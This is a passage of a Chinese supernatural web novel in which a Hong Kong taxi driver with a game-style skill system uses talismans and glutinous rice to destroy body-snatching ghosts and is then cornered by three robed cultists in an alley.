袁小敏的声音又开始发抖,“她……她好像越来越像我!穿衣风格,说话语气,甚至一些小动作……都在学我!开始我还觉得是巧合,没多想。”
“可后来,越来越奇怪!我身边的朋友、公司的同事,甚至……甚至我男朋友回来,都经常把她错认成我!
跟她有说有笑,反而对我有点疏远!昨天连我养了多年的宠物狗‘Lucky’,现在都只冲她摇尾巴,对着我吠!”
袁小敏说到这里,情绪几乎崩溃。
“直到昨天晚上……阿琪……她……她突然跟我摊牌了!”
袁小敏眼中充满了恐惧,“她……她根本就不是人!她说她是一个孤魂野鬼,一直在找替身!她很早就盯上我了!
她说,找替身的鬼想要完全替代一个人,必须有一个前提,就是那个人要‘心甘情愿’地开门迎接她进去!”
“所以她之前就一直用各种方法影响我!让我做噩梦,梦到一个人住很可怕,让我感到孤独害怕……
然后引导我看到招租广告,让我自己产生找合租的念头!只要我同意了,她住进来,就等于我‘心甘情愿’地引鬼**!后面的事情就简单了!”
古德一边听,一边微微点头。
这跟他前世在一些杂书野史里看到的记载对上了。
他接过话头,对着袁小敏和旁边那位一直竖着耳朵听、表情严肃的神父解释道:
“这种鬼,在民间叫做‘替身鬼’,或者‘影魇’。它属于恶鬼里比较特殊的一种,正面攻击力可能不强,但极其擅长迷惑和侵蚀。”
“它的核心目的不是**,而是‘还阳’。或者说,是一种另类的‘夺舍’。它看中一个活人,就想方设法要完全取代对方的人生。”
“而它取代的过程,就像袁小姐经历的这样。第一步,也是最难的一步,就是需要目标‘自愿’接纳它,让它进入目标的生活圈子。
这相当于一种‘契约’,一旦达成,它就能开始窃取目标身上的人气,也就是活人的生机和运势。”
“吸了人气之后,它就能越来越像目标,甚至能干扰目标亲朋好友的认知。让他们逐渐把它当成**,而把真正的目标当成‘冒牌货’或者‘陌生人’。
这个过程是潜移默化的,等到目标身边所有人都认贼作父的时候,它的替代就基本完成了。
原来的目标,则会因为人气被吸干,变成了另一个孤魂野鬼。”
古德把这替身鬼的来历和手段仔细说了一遍。
袁小敏听得浑身发抖,脸色惨白。
那位神父也听得目瞪口呆,手里的圣经都差点掉地上。
“原……原来是这样!”神父喃喃自语,“我还以为只是普通的附体……”
袁小敏急得快哭了,抓住古德的胳膊:“古大师!那……那现在怎么办?阿琪……那个女鬼说,如果到了今晚12点,还有人能认出我,她就放弃,就会离开!现在……现在快11点了!”
古德看着她,有些无语地叹了口气:“袁小姐,你还没发现吗?她是在拖延时间,骗你的。你看看你自己现在的样子。”
他指了指旁边一辆豪车光亮的车窗玻璃。
袁小敏下意识地看过去,玻璃反光中,她的身影显得异常模糊、淡薄,脸色苍白得没有一丝血色,整个人
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看起来轻飘飘的,仿佛随时会消散。
“你身上的人气,已经被她吸得差不多了!你现在几乎已经处于‘半人半鬼’的状态!
再拖下去,不用到12点,你就彻底完了!到时候,世界上就只有一个袁小敏,就是那个鬼!你早就该找我的!”
古德的语气带着一丝严厉。
袁小敏和神父看到玻璃中那诡异的倒影,脸色瞬间大变!
神父脸上露出极度愧疚和后怕的表情,捶胸顿足:
“主啊!我有罪!是我害了小敏!是我让她等到晚上,我看到记载里说夜里阴气重,鬼物容易显形,我准备了圣水……想着一举消灭它……我……我差点就……”
他看起来懊悔无比。
但就在这时,古德的目光却锐利地盯在了这位跟徐晋江相似的神父身上。
这略显拙劣的演技,这家伙,太不对劲了。
加上现在已经是深夜,别墅区路灯昏暗,但这神父站在灯光下,脚下却好像有两个影子!
而且他身上非但没有神职人员常有的那种温和或庄严的气息,反而透着一股若有若无的阴冷感!
只是这阴冷感被一种奇怪的力量掩饰得很好,不易察觉。
古德心中警铃大作!
他不动声色地上前一步,看似要安慰拍打神父的肩膀。
就在他的手即将碰到神父黑袍的瞬间,另一只手以极快的速度从口袋里掏出一张辟鬼符,以八极拳发力技巧,猛地拍向了神父的胸口!
“啪!”
一声脆响!仿佛烙铁烫进了冰水!
“嗷——!!!”
一声凄厉非人的惨叫声猛地从神父口中爆发出来!
完全不是人类的声音!
只见那神父整个人像是被一辆无形卡车撞中,猛地倒飞出去,重重砸在别墅的铁门上,发出“哐当”一声巨响!
他身上的黑色神父袍仿佛被腐蚀一般,冒起阵阵青烟。
他脸上那庄严的表情瞬间扭曲、崩塌,变得无比狰狞!
皮肤以肉眼可见的速度变得铁青,双眼眼白迅速被黑色浸染,嘴角、鼻孔、耳朵里,同时渗出暗红色的、粘稠的血液!
他痛苦地蜷缩在地上,浑身抽搐,发出嗬嗬的怪声。
辟鬼符的灵光与血煞之气在他胸口不断交织、侵蚀,发出“滋滋”的声响,冒起更多的青烟。
过了好一会儿,那符箓的力量似乎才消耗殆尽,青烟散去。
第17章 糯米的功效
地上的神父变得极其虚弱,原本高大魁梧的身形仿佛缩水了一圈,变得更加干瘪诡异。
他艰难地抬起头,用那双漆黑如墨、充满怨毒的眼睛死死盯着古德,声音嘶哑难听,充满了难以置信:
“不……不可能!你……你是怎么看出破绽的?我的伪装……明明很完美……连圣水都……”
古德看着地上那滩还在微微冒着青烟的血水,以及那件皱巴巴、沾满污秽的神父袍,心里并没有太多意外。
虽然不清楚这个“鬼神父”到底用了什么方法,将自身的阴煞之气隐藏得如此之深,连他的阴阳眼一开始都没能立刻看穿。
但古德从一开始就对他抱有怀疑。
他方才下车就回忆着前世那部电影的细节,终于让他想起一些内容。
印象里,那个神父角色似乎就一直表现得有些……迂腐和迟钝?
空有高大的身材,却连一扇普通的门都搞不定,最后甚至还亲手……
而当电影情节照进现实,这些不合常理之处就被无限放大,变成了致命的破绽。
特别是袁小敏提到,是这个神父坚持让她等到晚上,说什么阴气重鬼物易现形,好用圣水对付。
这简直就是在帮那个女鬼阿琪拖延时间,完成最后的替代!
这就让古德的怀疑达到了顶点。
他刚才出手试探,果不其然!
这个所谓的神父,根本就不是来帮忙的,他很可能也是被影魇夺舍的受害者之一。
是那个女鬼阿琪的同党。
这些影魇替身鬼之间,似乎存在着某种联系和互助。
被影魇成功夺舍的人,虽然外表、记忆、行为模式都能模仿得惟妙惟肖,几乎与活人无异。
但他们的灵魂本质已经被替换,内核依旧是阴煞邪物,身上会不可避免地残留着影魇特有的阴煞之气。
这种气息对于普通人甚至一般法器或许能瞒天过海,但在古德的辟鬼符,在这种专破邪煞的符箓面前,就如同大头针包饺子——露了馅!
古德根本没兴趣回答地上那摊东西的废话。
都要拼命了,谁还跟你解说原因?
他直接从口袋里又掏出了一张斩鬼符,刚才用的是辟邪符符试探,现在才是动真格!
他深吸一口气,努力调动丹田内那团微弱却真实的气流,将其引导至持符的右手。
虽然还未正式修炼出法力,但这股由LV2呼吸法蕴养出的精气,同样能激发符箓的部分威能!
他将符箓夹在中指与食指之间,神色肃穆,口中疾速念动斩鬼符咒:
“太上老君教我杀鬼,与我神方!上呼玉女,收摄不祥!登山石裂,佩带印章!头戴华盖,足蹑魁罡,左扶六甲,右卫六丁!
前有黄神,后有越章!神师杀伐,不避豪强,先杀恶鬼,后斩夜光!何神不伏,何鬼敢当?急急如律令!”
咒语念罢,他手指猛地一抖!
“轰!”
手中的斩鬼符无火自燃,瞬间化作一道温和的金色光芒,如同离弦之箭,疾射而出,精准地没入地上那还在抽搐的神父体内!
“啊——!!!”
比之前更加凄厉、完全不似人声的惨嚎猛地爆发出来,又戛然而止!
只见那神父的身体如同被投入强酸的蜡像,开始剧烈地扭曲、融化!
皮肤血肉迅速消融,化作一滩腥臭粘稠的黑红色血水,只剩下那件神父袍泡在血水中,迅速被腐蚀破烂。
短短几个呼吸间,一个看似活生生的人,就彻底化为乌有,只剩下一地狼藉和空气中令人作呕的恶臭。
袁小敏在一旁看得目瞪口呆,浑身发抖,脸色比刚才更加苍白。
她惊恐地看着那滩血水,又猛地抓住古德的胳膊,声音带着哭腔和无比的恐惧:
“大师!大师!那……那个女鬼阿琪……她要是被消灭了,我的身体……我的身体会不会也变成这样一滩水?!”
古德看了她一眼,安慰道:
“放心。你的情况和他不一样。他的肉身早就被阴煞之气彻底侵蚀透了,从里到外都烂完了,只不过被那鬼东西强行撑着个样子。魂体一灭,肉身自然跟着崩溃。”
他指了指袁小敏那有些透明的灵体:
“你现在虽然人气微弱,灵体离体,但你的肉身根基还没被彻底污染破坏。只要及时消灭那个女鬼,把你的魂送回去,好好休养一段时间,还能恢复。
但要是再拖下去,等你身上这最后一点人气散尽,或者你的肉身被它的阴煞之气彻底同化,那到时候就算消灭了它,你想回也回不去了。”
听了古德的解释,袁小敏才稍微松了口气,但脸上的恐惧丝毫未减,反而更急切地看向别墅大门。
轻松解决掉这个冒牌神父,古德心里也更有底了。
这种影魇替身鬼,在恶鬼范畴里,确实属于比较拉胯的存在。
它们的可怕之处在于诡异的替代方式和潜移默化的侵蚀,而不是正面战斗能力。
尤其是当它们成功夺舍,拥有了肉身之后,它们属于鬼物的许多诡异能力反而会受到肉身的限制和削弱,更像是一个拥有鬼魂意识的活尸。
这要是在道法昌盛、玄学未衰的时代,随便一个懂点真本事的道士,都能把它们从肉身里打出来,或者直接连肉身一起净化了。
也就是现在这个末法时代,真正的道法传承几乎断绝,才让这种玩意儿敢如此
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猖獗。
“走,去找正主!”
古德对袁小敏的灵体说了一句,迈步走向别墅的豪华大门。
他伸手去拧门把手,却发现门把手纹丝不动,仿佛焊**一般。
他用力推了推,厚重的实木大门同样毫无反应。
他后退一步,猛地一脚踹过去!
“砰!”一声闷响,大门微微震动了一下,却依然紧闭,反而震落一些灰尘。
古德嗤笑一声:“呵,雕虫小技。想靠这点阴煞之气封住门,拖延时间?”
对于这种纯粹的阴气封锁,他早有准备。
他不慌不忙地从随身挎包里抓出一把雪白的糯米。
“糯米乃至阳之物,最能破阴煞邪气。”
他一边将糯米洒向大门门缝和把手周围,一边像是给学生上课一样对身边的袁小敏解释。
“但不是随便什么糯米都行。得用陈年的老糯米,还得在正午太阳底下暴晒过,吸饱了阳气才行。我这些,可是精挑细选加工过的。”
只见那些糯米接触到大门,尤其是门缝和锁孔这些阴气最浓郁的地方时,竟然发出轻微的“噼啪”声,像是炒豆子一样。
原本雪白的糯米以肉眼可见的速度变得焦黄、熟透,仿佛被瞬间加热!
同时,一股淡淡的、温暖的纯阳之气从变熟的糯米上散发出来,迅速中和、驱散着门上的阴冷煞气。
空气中弥漫开一股奇特的、类似炒米的焦香。
等到糯米不再变化,门上的阴冷感明显减弱后,古德再次抬脚,猛地一踹!
“哐当!”一声!
这次,那扇厚重的大门应声而开,撞在后面的墙上,发出巨大的声响。
门内,灯火通明的豪华客厅里,一个女人正静静地站在那里。
她穿着袁小敏平时最爱穿的居家真丝睡袍,头发也梳成了袁小敏常用的发型。
她的脸,赫然就是袁小敏的脸!
甚至连眼神、表情,都模仿得惟妙惟肖!
但在古德的阴阳眼里,却能清晰地看到,在这张袁小敏的面皮之下,涌动的是浓郁粘稠的黑色阴煞之气!
一个扭曲、狰狞的鬼影在这副皮囊下若隐若现!
她的目光越过古德,先是怨毒无比地瞪了一眼古德身后瑟瑟发抖的袁小敏灵体,然后才死死盯住古德。
那张属于袁小敏的脸上,露出了一个极其违和、阴森到极点的表情。
一个冰冷、充满了无尽怨恨和恶毒的声音,从她的喉咙里挤了出来,完全不似人声:
“为什么……为什么你这个死开出租的……要多管闲事?!只差一点……只差最后一点点了!我就可以彻底取代她……我就可以真正还阳了!!!”
第18章 阿琪求饶,袁小敏还阳
古德看着那张属于袁小敏、却被恶鬼占据的脸,冷冷地开口:
“阳人有阳间的路,阴鬼有阴间的桥。活人不主动招惹你们,你们也不该来害人。这是规矩。
**就乖乖去该去的地方,别想着替身还阳,逆天而行,这道理你不懂吗?”
占据着袁小敏肉身的阿琪发出一声尖锐的冷笑,声音扭曲:
“规矩?道理?哈哈哈!我也想去投胎!可我阴寿未尽,不入轮回!
你知道孤零零在人间飘荡,无人祭祀、无人记得,受尽阴风洗涤的痛苦吗?你知道看着别人阖家欢乐,自己却连个栖身之所都没有的凄惨吗?!”
它试图用悲情来博取同情,进行道德**。
但古德根本不吃这一套,语气依旧冰冷:
“既然阴寿未尽,那就老老实实在下面待着,熬完你的阴寿!这不是你跑来阳间害人夺舍的理由!苦难不是你作恶的借口!”
说完,他懒得再跟这鬼物多费口舌。
跟鬼讲道理,纯属浪费时间。
他直接就从口袋里掏出了一张斩鬼符,夹在指间,准备动手。
阿琪见状,脸上那点伪装出来的悲戚瞬间消失,取而代之的是极度的怨毒和疯狂!
它尖叫一声,操控着袁小敏的身体,双手十指弯曲成爪,带着一股阴风,猛地就朝古德的面门抓了过来!
速度还挺快!
古德一阵无语。
就这?没了诡异伎俩,正面搏斗简直弱得可怜!
他甚至连八极拳都懒得用,只是侧身轻松一闪,避开爪击,然后抬起脚,对着“袁小敏”的小腹就是一记干脆利落的直踹。
“砰!”一声闷响。
“啊!”阿琪发出一声痛呼,被踹得踉跄着**好几步,一屁股摔在地毯上,捂着肚子,一时半会儿爬不起来。
旁边的袁小敏灵体吓得捂住眼睛,不敢看自己的肉身挨打,但又忍不住从指缝里偷看。
古德运转体内那仅剩的一丝微弱气息,注入手中的斩鬼符,再次疾速念动咒语:
“太上老君教我杀鬼,与我神方!上呼玉女,收摄不祥……”
咒语刚念了个开头,摔在地上的阿琪脸色剧变!
它感受到了那张符箓上传来的、足以让它魂飞魄散的恐怖力量!
求生的本能瞬间压过了怨恨。
它猛地挣扎着爬起来,不再是攻击姿态,而是“噗通”一声跪在了地上,对着古德拼命磕头,哭喊着求饶:
“天师饶命!天师饶命啊!我知道错了!我真的知道错了!求求您放过我!
我这就脱离这具肉身!我立刻就走!远远离开香江!我发誓再也不害人了!求求您给我一次机会吧!!”
它哭得声泪俱下,演技逼真,仿佛真的悔不当初。
但古德脸色丝毫不变,咒语念得又急又快,根本不受干扰。
他深知这种影魇最是狡猾奸诈,鬼话连篇,毫无信用可言。
今天放过它,明天它就能换个目标继续害人。
除恶务尽,这是基本原则。
看到古德完全无动于衷,符箓上的光芒越来越盛,阿琪眼中的哀求瞬间被彻底的绝望和狠戾所取代!
它猛地从地上一跃而起,不再求饶,而是转身就朝着客厅那扇巨大的落地玻璃窗疯狂冲去。
它想撞碎玻璃,逃离这里。
就在它即将撞上玻璃的瞬间,古德的咒语也念到了最后一句:“……何神不伏,何鬼敢当?急急如律令!”
“敕!”
音落,符出!
他手指一抖,斩鬼符瞬间燃尽,化作一道金色光芒,后发先至,如同精准制导的**,瞬间就没入了刚刚扑到窗边的“袁小敏”后心!
“呃啊——!!!”
一声凄厉至极、完全不似人声的尖锐惨嚎,猛地从“袁小敏”体内爆发出来!
只见一道扭曲、模糊、散发着浓烈黑气的鬼影,像是被无形的力量硬生生从袁小敏的肉身里逼了出来。
袁小敏的肉身则软软地瘫倒在地,昏迷不醒。
那道被逼出的鬼影,正是阿琪的真正形态。
一个面目狰狞、充满怨毒的影魇!
它被金色的光芒紧紧缠绕包裹,如同被泼了汽油点燃的纸人,发出“滋滋”的灼烧声,冒出滚滚青烟!
它疯狂地挣扎、惨叫,但金光如同跗骨之蛆,净化、消融着它的阴体。
不过两三秒的功夫,它的惨叫和挣扎就越来越弱,最终在金光中彻底消散,化为虚无,连一点灰烬都没有留下。
客厅里顿时恢复了寂静,只剩下窗外细微的风声,以及地上袁小敏肉身微弱的呼吸声。
古德拍了拍手上并不存在的灰尘,仿佛只是做了一件微不足道的小事。
他转头对旁边还在发愣、目瞪口呆的袁小敏灵体说道:
“喂,还看什么看?戏演完了,还不赶紧回你自己的身体里去?等着我喊咔啊?”
袁小敏的灵体这才如梦初醒,脸上充满了难以置信的表情,结结巴巴地问:
“就……就这样?结……结束了?那个鬼……就这么没了?”
古德有些无奈地揉了揉眉心。
这姑娘,长得挺精明,怎么感觉脑子有点不太好使?
他懒得再多解释,走上前,伸手一把抓住袁小敏灵体的胳膊,像拎小鸡一样,把她往地上那具肉身的方向随手一“丢”。
“啊啊啊!”
袁小敏的灵体发出一阵惊慌的尖叫,在空中划过一道无形的轨迹,精准地落向自己的肉身,然后如同水滴融入大海一样,瞬间没入了进去。
下一秒,地上袁小敏的肉身猛地抽搐了一下,然后剧烈地咳嗽起来,睁开了眼睛。
她像是做了个噩梦刚醒一样,眼神先是迷茫,随即猛地变得清明,充满了后怕。
她赶紧坐起来,双手在自己身上、脸上胡乱地摸着,检查着自己是否完好无损。
古德站在旁边,悠悠地开口道:
“袁小姐,别摸了,零件都在,没少也没多。你要摸等把报酬付了再慢慢摸。大半夜的,你不休息,我还想回去补个觉呢。”
袁小敏听到这话,猛地一激灵,彻底回过神来。
她抬头看到站在一旁的古德,脸上立刻露出了极度尴尬和感激混杂的笑容。
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“古大师!对不起对不起!我……我这就去拿钱!”
她连忙从地上爬起来,也顾不上整理凌乱的睡袍,噔噔噔地就跑上了楼。
没过一会儿,她就拿着一个厚厚的信封跑了下来,直接塞到古德手里:
“古大师,这是给您的报酬!真的太感谢您了!救命之恩,我不知道该怎么报答才好!”
古德捏了捏信封,厚度可观,估计得有三四万港币。
他打开信封,仔细地从里面数出了一万两千块,然后将剩下的钱连同信封一起递还给袁小敏。
“说好一万二,就是一万二。”古德语气平静,“该我拿的,我一分不会少。不该我拿的,我一分也不会多要。”
袁小敏见状,连忙认真地把钱推回去,语气诚恳:
“古大师!您就别推辞了!这点钱对我来说不算什么!您救了我的命,这点谢礼根本不够表达我的感激!您一定要收下!”
看她态度坚决,古德也不再矫情,点了点头,将钱收了起来。“行,既然你这么说,那我就收下了。不过……”
他话锋一转,又从挎包里掏出了两张符箓。
一张是LV2的化煞符,另一张是LV1的辟邪符。
“这多出来的钱,就算你买了这两张符。”
古德将符递给袁小敏,解释道,“你虽然鬼上身的问题解决了,但体内多少还残留着一些那个影魇的阴煞之气。
这张化煞符,你找个瓷碗把它烧掉,把符灰用温水冲开喝下去。就能彻底驱散你体内的阴气,避免以后体弱多病。”
他又指了指那张辟邪符:“这张辟邪符,你把它贴在大门内侧,或者折成三角包随身带着。一般的游魂野鬼就不敢再靠近你了。不过符箓是外物,你自己也要多注意。
最近多吃点补气血的东西,比如红枣桂圆汤,多晒晒太阳,中午阳气最盛的时候最好。鬼不会去惹精神焕发之人,你把身体根基养好,才是根本。”
袁小敏听得非常认真,如同接到了圣旨。
她小心翼翼、如获至宝般地接过那两张符箓,紧紧攥在手里,连连点头:
“我记住了!古大师!我一定照做!谢谢您!真的太谢谢您了!”
古德看看时间,已经快凌晨三点半了。
深夜的别墅区格外寂静,只有虫鸣声声。
“行了,事情办完,我该走了。”
古德摆摆手,“以后要是再遇到什么奇怪的事……嗯,还是别遇到的好。真要有事,再Call我吧。”
说完,他不再停留,转身走出别墅,上了自己的红色出租车。
发动车子,驶出浅水湾道。
看着窗外飞快掠过的寂静街道和昏黄路灯,古德打了个哈欠。
“都这个点了……回家睡觉好像也睡不了多久。”
他摸了摸口袋里厚厚的一沓钞票,心情不错,“干脆直接去中环那边,找家早茶店,饮个早茶算了,顺便把早饭解决了。”
红色的出租车碾过凌晨空旷的街道,朝着依然灯火通明的港岛中心方向驶去。
车尾灯在夜色中划出两道红色的光带,迅速远去。
第19章 又遇到**
古德开着车,穿过凌晨寂静的街道。
这个点的香江,褪去了白日的喧嚣和夜晚的霓虹,显露出一种难得的宁静。
只有零星几辆出租车和运送食材的小货车偶尔驶过。
空气微凉,带着露水的潮湿气息。
他把车停在“荣记茶餐厅”门口不远的路边。
虽然已是凌晨,但茶餐厅还亮着灯,为那些深夜工作者和夜猫子提供着温暖的食物。
推开门,门上的铃铛发出清脆的响声。
店里没什么客人,只有角落里坐着一个看报纸的老伯,和两个看起来刚下班、一脸疲惫的打工仔。
阿秀正拿着抹布擦拭柜台,听到铃声抬起头。
看到是古德,她圆圆的脸上露出惊讶的表情:“古哥?今天怎么这么晚还出来?都快天亮了哦。”
她看了看墙上的挂钟,已经快四点了。
古德笑了笑,脸上带着一丝疲惫但轻松的神情:
“嗯,刚办完点事情,肚子有点饿,过来吃点东西再回去。老样子,来份干炒牛河,再来一份虾饺,一杯冻奶茶。”
阿秀虽然心里好奇古德这么晚去办什么事,但也没多问,点点头:
“好的,古哥你坐一下,马上就好。”
她转身朝厨房喊道:“哥!一份干炒牛河,一份虾饺,走青(不要葱)!”
古德没坐里面,而是走到门口靠街的露天座位区,找了张塑料椅子坐下。
凌晨的空气很清新,虽然有点凉,但让人头脑清醒。
他点了支烟,看着空荡荡的街道,慢慢吞吐着,放松着刚才驱鬼时紧绷的神经。
刚抽了两口,对面那张桌子也坐下了一个人。
古德下意识地抬眼一看。
嘿,还是个熟人。
正是之前在路上跟他打招呼的出租佬同行,**。
**大概五十岁上下,身材高大魁梧,但此刻看起来有点邋遢。
他顶着一头乱糟糟的齐肩长发,像是好几天没好好梳过,随便用手扒拉了几下。
鼻梁上还架着一副老式的、镜片厚厚的黑框眼镜,让他原本就显得粗犷的脸更添了几分滑稽。
**长的跟后世的明星梁加仁很像,说起梁加仁,可能很多人不知道。
但是说起他演过的角色,那肯定大多数人都见过,最出名的就是天龙八部里的乔峰和唐伯虎点秋香里的武状元。
不过目前古德也想不起来,面前这个**是哪一部电影里的人物,但是想不起来也无关紧要,这个香江有太多前世眼熟,但是又不知道是哪部剧情里的人物。
古德看着**这副尊容,忍不住哈哈一声笑了出来,吐槽道:
“大海哥,不是我说你,你这……好歹也收拾一下自己嘛。
这发型……还有,你年纪也不小了,还这么拼?夜班车开到这么晚?今天怎么连老花镜都戴上了?以前没见你戴过啊。”
**毫不在意地用手胡乱梳理了一下他那头乱发,语气带着点自得:
“你小子懂什么!我这叫艺术家的发型!现在最流行的!夜班车怎么了?夜班车清净,赚得也不少!
不过最近眼神是有点不济事了,看计价器有点模糊,就弄了副老花镜戴戴。嘿,还挺好用!”
他反过来打量了一下古德,疑惑地问:
“倒是你小子,平时这个点早就回家睡大觉了吧?今天太阳打西边出来了?也跑出来开夜车?还是……刚从哪儿潇洒完?”
他挤挤眼睛,露出一个男人都懂的表情。
古德掏出那包万宝路,递了一支给**,自己也点上一支。
他吸了一口,吐出一缕青烟,语气平淡地说:
“潇洒什么。我刚给人驱邪去了,忙活到现在,才搞定。”
“噗——咳咳咳!”
**一口烟刚吸进去,听到这话,差点没呛到气管里,连连咳嗽,眼泪都快出来了。
他好不容易顺过气,哭笑不得地用夹着烟的手指指着古德:
“德仔!你小子……吹牛也不打打草稿!你还会驱邪?你说你去砵兰街去去火,都比这个靠谱!”
古德忍不住给了他一个白眼,没好气地说:
“爱信不信。我可是正经的纯阳童子身,现在踏上了修行之路的。去火那种地方,我是不会去的。”
他心里嘀咕:除非是遇到那种能双修的绝色道侣,还能让我修为蹭蹭往上涨的那种
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,倒是可以考虑考虑……当然,这话不能说出来。
他本来也没指望**会信这种玄乎的事,但也不能任由他调侃。
古德眼珠一转,露出不怀好意的笑容,反过来调侃道:“不过听大海哥你这口气,看来是经常去‘去火’啊?怎么,有老相好在那条街?”
**一听,黝黑的脸上居然泛起一丝不太明显的红晕,连忙摆手否认:
“没有的事!别瞎说!我**早就改邪归正了!自从当年从台湾那边……唉,反正回来后,我现在就想着怎么多赚点钱,求得我那一对儿女的原谅,哪有心思搞这些乱七八糟的。”
他的语气带着一丝落寞和认真,不像是在开玩笑。
这时,阿秀端着两盘热气腾腾的干炒牛河还有虾饺,以及两杯冻奶茶过来了。
“古哥,大海叔,你们的餐齐了。”
“谢谢阿秀。”
“多谢小妹。”
两人拿起筷子,开始埋头吃东西。
炒河粉镬气十足,牛肉嫩滑,饿了大半夜的古德吃得格外香。
**看来也是饿坏了,吃得呼噜作响。
一边吃,两人一边有一搭没一搭地闲聊着,吹吹水,吐槽一下最近的油价和难缠的乘客。
吃到一半,古德突然感觉一阵尿意袭来。
他放下筷子,对**说:“大海哥,你先吃着,我去旁边巷子里放放水。”
**正好也吃得差不多了,抹了抹嘴,站起来说:“巧了,我也有感觉了。一起一起,有个伴。”
凌晨的街道空无一人,两个大男人也懒得找什么正经厕所。
茶餐厅旁边就有一条狭窄的、灯光昏暗的后巷,是附近商铺堆放垃圾和杂物的地方,偶尔也有内急的人图方便在这里解决。
两人并肩朝着那条黑黢黢的巷子走去,嘴里还在继续着刚才的吹牛话题。
“我跟你讲,昨天我拉了个客去机场,那家伙……”
“切,机场算什么,我上次……”
昏暗的灯光将两人的影子拉得很长,脚步声在寂静的凌晨显得格外清晰。
他们就这么说着笑着,晃悠着走进了那条弥漫着淡淡潮湿和垃圾气味的小巷。
第20章 勇气和梁静茹的关系?
昏暗的后巷里,弥漫着一股淡淡的尿骚味和垃圾腐烂的混合气味。
古德和**并排站着,对着斑驳的墙壁放水。
**一边解决生理问题,一边忍不住唏嘘感叹:
“唉,老啦老啦!想当年,老子迎风都能尿十丈!现在倒好,顺风都能湿鞋面!真是不服老不行啊……”
古德闻言,脸上露出毫不掩饰的嫌弃表情,不动声色地往旁边挪了两步,离这个正在发表人生感慨的老男人远了一点。
就在这时,古德眼角的余光瞥见旁边墙壁上挂着一面破了一半的镜子,大概是附近住户扔出来的废弃梳妆镜。
镜面布满裂纹和污渍,但依然能模糊映照出巷口的情形。
只见巷口昏暗的光线下,不知何时,悄无声息地出现了三个男人!
这三人都穿着一身宽大的黑色长袍,像是某种宗教服饰,又像是故意遮掩身形。
他们就那样静静地站在那里,如同三尊黑色的雕像,无声无息地盯着巷子里正在放水的两人。
古德心里猛地一咯噔!
一股寒意瞬间从脊椎骨窜了上来!
这三个人,有问题!
而且,他们身上散发出的那种若有若无的气息,让他感到一种莫名的熟悉感……
阴冷、晦暗,带着一种非人的死寂。
古德脑子飞快转动,灵光一闪!
是了!这气息,跟今天晚上那个冒牌神父身上的气息非常相似!
虽然更淡,但本质同源!
“是影魇?!”古德心中骇然,“而且是已经成功夺舍,占据了肉身的影魇!他们是来找我报复的?”
他脸上不动声色,继续放着水,心里却瞬间闪过无数念头。
“是今天干掉的那两个影魇的同伙?这倒说得通。这些鬼东西看来是抱团的。”
他想起电影《怪谈协会》里的设定,那根本就不是什么文学社团,而是一个藏污纳垢、**了各种妖魔鬼怪的邪门组织!
“如果电影照进现实,那这个‘怪谈协会’恐怕就是个真正的鬼窟魔穴!专门害人!”
古德心里快速权衡着。
眼下最重要的是解决这三个不速之客。
他没想到吃个宵夜都能被堵巷子里,今天画好的符箓都放在车上的挎包里,没带在身上,护身符也没有贴身存放。
草率了!
他自身有LV2的八极拳傍身,体质也达到了6点,身手比普通人强得多。
虽然不清楚这三个影魇有什么诡异手段,但单纯想跑,冲出这条巷子应该问题不大。
麻烦的是身边的**!
这老哥就是个普通出租佬,年纪也不小了,自己总不能丢下他不管。
“得想个办法……”古德心思电转。
突然,他有了主意!
他暗中集中精神,唤醒了脑海中的系统面板。
飞快地浏览着技能树,很快找到了一个技能——【基础暗器技巧LV0】。
这是前世他刷短视频时,闲着无聊跟着学了几手飞镖,系统自动生成的,一直没加点。
“就是它了!”
古德毫不犹豫,意念一动,“加点!基础暗器技巧,LV0→LV1!”
【消耗10点,基础暗器技巧提升至LV1(入门)】
瞬间,大量关于投掷技巧的知识涌入他的脑海。
如何握持不同形状的暗器,如何运用手腕和手指的力量,如何计算抛物线和控制旋转,如何瞄准……仿佛他已经练习了成千上万次!
虽然只是入门级,但指哪打哪的基本功已经扎实掌握。
他感觉自己的手指都变得更加灵活和有力。
加点完成,古德不动声色地对**说:“大海哥,你的老花镜借我用一下。”
**正吹着口哨,闻言一愣,扭过头,两眼愣愣地看着古德:“啊?眼镜?你要我眼镜干嘛?这乌漆嘛黑的,你也看不清啊。”
他虽然疑惑,但还是腾出一只手(放水确实一只手就够了),把鼻梁上那副老式的黑框眼镜摘了下来,递给古德。
古德接过眼镜,入手沉甸甸的。
他手指暗中用力,运用刚刚获得的LV1暗器技巧中对力量的精妙控制,巧劲一掰。
“咔哒”两声轻响,两个厚厚的圆形玻璃镜片就被他卸了下来,镜框则随手扔到一边。
**看得目瞪口呆,张了张嘴:“德仔,你……你拆我眼镜干嘛?那是我新配的!”
古德没理他,脸上露出一丝犹豫,但随即被狠色取代。
事急从权,疼就疼一下吧!
他心一横,把右手食指塞进嘴里,用力一咬!
“嘶——!”
钻心的疼痛让他倒吸一口凉气,手指瞬间见血。
他忍着痛,挤出血珠,以指代笔,以血为墨,迅速在两个玻璃镜片的背面,绘制了两个微缩版的、结构精简但核心符胆不变的辟邪符!
镜片面积小,画不了完整的LV2符箓,但这种简易版的,胜在速度快,对付这种被肉身束缚、实力大减的影魇,应该也够用了!
血珠迅速渗入玻璃细微的纹理中,形成两个诡异的血色图案。
**在旁边看得眼珠子都快瞪出来了,嘴巴张得能塞进一个鸡蛋:
“德……德仔?!你搞什么鬼?画符?你……你没事吧?”
他怀疑古德是不是中了邪,或者喝多了,但是奶茶能喝醉?
古德画完符,将两个带着血符的镜片捏在指间。
他给了**一个严厉的眼神
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,示意他噤声,然后微微侧身,让**能通过墙上那面破镜子看到巷口的情景。
**下意识地顺着古德示意的方向,透过脏兮兮的镜面看向巷口。
那三个仿佛幽灵般矗立的黑袍男人瞬间映入眼帘!
“我靠!”
**吓得一个激灵,差点没尿到自己裤子上!
他手忙脚乱地拉好裤子拉链,猛地转过身,脸色发白,声音都变调了:
“你……你们想干什么?!我告诉你们!**也是犯法的!这……这里离警署不远!”
他一边说着,一边下意识地往旁边摸索,抓起地上一根不知道谁扔掉的破拖把杆,横在身前,色厉内荏地给自己壮胆。
那三个黑袍男人对**的警告充耳不闻,仿佛他只是路边的一颗石子。
其中那个站在中间、身材最为高大魁梧的男人缓缓抬起头,露出一张大约四十多岁、留着浓密卷发的脸。
他的眼神冰冷麻木,没有任何人类的情感。
他开口了,声音低沉沙哑,像是砂纸摩擦:
“开出租的……你害我们协会损失了两个宝贵的兄弟姐妹……今天,我们要把你带回去……把你做成食材,献祭给协会……才能平息大家的怒火……”
他的语气平淡,却透着令人毛骨悚然的残忍和漠视。
